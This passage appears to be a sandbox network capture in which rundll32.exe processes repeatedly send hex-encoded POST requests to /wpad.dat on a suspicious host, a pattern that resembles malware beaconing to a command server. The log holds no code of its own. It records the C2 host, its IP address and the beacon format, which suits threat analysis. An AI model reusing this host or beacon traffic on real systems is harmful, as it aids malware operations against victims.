2024-04-16 13:35:42 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:42 UTC	545	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LWPvEd7ky8I4edkO9pvYwYN2%2F0cXA1%2FlxYdwbs8z7bqMQ%2Ffd6SCfY9pUoQjJRL5MJWqEWSg3GnD3R1mVYwUdcg9uBL%2F%2FiNKz9vbYHAFuT0r%2F%2BCqQQKLtS20B6lwMPVkLm%2Bjwf%2BE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f62b80312d1-ATL
2024-04-16 13:35:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49740	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:42 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:42 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:43 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A2YtVBe%2BQclKhYonQj0Vib638WnARs3yAIaFY4cTXbwNXPoCZE22mYkbS4HXAX9EETVxjyAETpoIkjTdxiO8Zu%2BFBz0qp1gazT6VTAh49tdMd9k2%2FlElQQrfyDD8I1fNMzkiFQM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f65ce7ab0ca-ATL
2024-04-16 13:35:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49741	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:42 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:42 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:43 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jh9eappVZ450aYQxEYagrzB4iVbXFBDu5d1v%2F01qYIof%2FDfiayCGqgGW3Cmw13fXDwDJKDqkF4m13mMcJk2JJ0lIJnmkymyFqLs4PHAG5BF84vdSPvpKhhjj6d5rxZ%2BnhrbNrEc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f66bb56b05d-ATL
2024-04-16 13:35:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49742	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:43 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:43 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:44 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ACMxcOYu4qN%2BjxM%2FB4VZIxlq3QVn7ZQ6kBhv99qerMIpKuskvAvrbymSrsC9PuQK0nyUVnghJQnwm%2FkWXzKL5Kzxhov4j5y9vXZxsUEVbB%2BrDN%2BX%2BocgZszP5zYgjSxh0AxpGi4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f6bffca184b-ATL
2024-04-16 13:35:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49743	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:47 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:47 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:48 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ewp5U%2FXQIhQ%2F5kn%2FK5A8zOfqUXV55XJvKfkpgImBGCG4k0GZbq8hKQBaTXqhi43d8Fb7%2BouqO3fA68hik8vvrZtHSDA3dCoLFh6zlRGSgshyRg6hV%2Bz50OD6vsk2VAy3tIsm6m0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f833e64be15-ATL
2024-04-16 13:35:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49745	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:47 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:47 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:48 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RLqd3w4ouDRNRYVILDwuUjzwWeWD7O8lw8G5HW2%2FGlfFC6mQzqn6PiZfd0q6WNC7GTy7ycEvG1CxEE1w65AOn%2B8JYJ5nQYvUjYCGsuaq1mf%2B8dwhM%2B7%2FnAle%2FgC2hLffsf7lqHk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f85bb697bbd-ATL
2024-04-16 13:35:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49744	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:47 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:47 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:48 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MRT0%2BClpjXtbnSaCwrbafTlmgI49LkimAmxOOI%2F%2Fjm6Mpispj4VBEl37kKhl4MSFWfy%2FSZXPPT%2BZhykufeSCyEW9ckiffJR%2F3HHYKcJUUV2LufSl77cCYQW6NX%2BAl9cfvDCl%2Fro%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f85cabb53db-ATL
2024-04-16 13:35:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49746	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:50 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:50 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:50 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1hVyj8ZUQh81wZoGOIWg2N2iREs32X1E0WQ25Sq8olDia9YbMn%2BC%2BLjIMfhaO3Xet43OiVMSdndzVfrJ3IPr17FEZ%2BXLx69%2BB6uXEOuyvVSPFfCDQrV12LMTtTfY%2Bt3mJql7Y30%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f944aab6740-ATL
2024-04-16 13:35:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49747	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:50 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:50 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:50 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ltJhyiqPRsK03zYcuoxmZsV1kSFqDQJ6RNGyBeMMaDz%2BA91mUSn%2FjEwf2GNqfkOptAQyL69d8FxynWq%2FoPBk%2F3zp4mdpPN5sDL3mpeuRIpE1M9aKTEGn6nEnkFX1GcK7ZBAWG%2F0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548f963f5344fd-ATL
2024-04-16 13:35:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49748	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:52 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:52 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:52 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XdeDt6U%2FbDsOoYqGr5Om6qwMEj0CkWF8edUyywJMLUlkR1JAWY7mXG4i14OWk2FWg0tG57Dnwg%2BnVy4COZGqtwr0DguIV0so2qUSMv8hqwoi1rwX2S84i%2FWeqq%2BvFBeXVxx0P7A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548fa2de28b042-ATL
2024-04-16 13:35:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49749	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:53 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:53 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:53 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9p9gr8bWvH4TXJrk5OXoRDBTrn47kGdFztb2RHkma%2BL6uNaUOs7lkco8oi8z28jlvQBOyz1aZoQVEwxOZk%2FZerHcLit50JZh9LLLgkhWeRfwy8fXfShz70na0apwLRYayUo6p1I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548fa68f106730-ATL
2024-04-16 13:35:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49750	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:53 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:53 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:54 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rphVOr%2F0aGjl2TFYPE62M5rjH6ZzKhuLEg8ygmIBFbcfUDqDQ4nTIrK5d4LfSTQolhSIM68MTwwWHdhWVsto2klsoAgYEaZAJR6v8KatHsEZlaI8Z503EuRlpDOXvopqfCLrCrM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548faa2a22b0dc-ATL
2024-04-16 13:35:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49751	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:55 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:55 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:56 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MF3tqJ1BiKZWgWUjVmPelRRNGq6APX2W%2FlBpQQUBX8CU%2BI13X967iTri%2FX7miTRthfm4KyE8JtJoEiwiM8JkrKc40NgsmE1MB60zEOWxi%2FiXMFSm07dCHO7oZkF00WglE7rEP0k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548fb74939ad70-ATL
2024-04-16 13:35:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49752	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:56 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
